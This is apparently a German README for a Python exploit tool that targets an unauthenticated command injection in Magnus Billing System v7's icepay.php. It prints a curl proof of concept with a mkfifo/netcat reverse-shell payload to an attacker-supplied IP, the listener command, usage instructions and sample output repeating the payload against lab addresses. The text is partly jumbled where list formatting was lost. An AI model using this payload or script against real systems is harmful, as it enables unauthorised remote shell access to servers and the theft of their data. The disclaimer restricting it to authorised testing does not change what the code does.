
Dieses Python-Skript automatisiert die Ausnutzung einer Befehlsinjektions-Schwachstelle in Magnus Billing System v7, insbesondere im icepay.php-Skript unter /mbilling/lib/icepay/icepay.php. Der Exploit nutzt den Parameter democ aus, um beliebige Befehle auf dem Zielsystem auszuführen und letztendlich eine Reverse-Shell zu einer vom Angreifer kontrollierten Maschine herzustellen.
Die Schwachstelle ermöglicht eine nicht authentifizierte Befehlsinjektion über eine präparierte GET-Anfrage. Das ursprüngliche Proof-of-Concept (PoC) verwendete den folgenden curl-Befehl:
curl -s 'http://<TARGET_IP>/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> <PORT> >/tmp/f;'
Dieses Skript automatisiert diesen Prozess und macht ihn über Befehlszeilenargumente konfigurierbar.
requests, um die HTTP-Anfrage mit der Payload zu sendenrequests:
pip install requests
netcat (nc) installiert haben, damit die Reverse-Shell funktioniertnetcat-Listener ein, um die Reverse-Shell zu empfangenicepay.php-Skript erreichbar sein mussexploit.pynetcat-Listener:
nc -lvnp <PORT>
<PORT> durch Ihren gewählten Port (z. B. 443)python exploit.py -t <TARGET_IP> -a <ATTACKER_IP> -p <PORT>
Parameter:
-t, --target: IP-Adresse des Zielsystems (Magnus Billing System)-a, --attacker: Ihre IP-Adresse zum Empfangen der Reverse-Shell-p, --port: Port auf Ihrer Maschine für die Reverse-Shellpython exploit.py -t 10.10.160.86 -a 10.8.64.79 -p 443
Erwartete Ausgabe:
=== Magnus Billing System v7 Exploit ===
Command Injection via icepay.php - Reverse Shell
=======================================
[+] Targeting: http://10.10.160.86/mbilling/lib/icepay/icepay.php
[+] Attacker: 10.8.64.79:443
[+] Sending payload: ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.64.79 443 >/tmp/f;
[+] Request sent successfully!
[*] Check your netcat listener (e.g., 'nc -lvnp 443') for a shell.
netcat-Listener, um bei Erfolg mit der Reverse-Shell zu interagierenmkfifo) mit netcatprint(response.text) in der Funktion exploit() ausnetcat installiertDieses Tool dient ausschließlich Bildungs- und Sicherheitstestzwecken. Verwenden Sie es nur auf Systemen, für die Sie eine ausdrückliche Erlaubnis zum Testen haben. Die unbefugte Verwendung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine Zustimmung zum Testen haben, ist illegal und unethisch. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Skript verursacht werden.
Dieses Projekt wird unter der MIT-Lizenz veröffentlicht. Sie können es nach Bedarf modifizieren und weiterverteilen, sofern der Haftungsausschluss erhalten bleibt.
Beiträge, Fehlerberichte und Feature-Anfragen sind willkommen. Reichen Sie gerne einen Pull-Request ein oder eröffnen Sie ein Issue.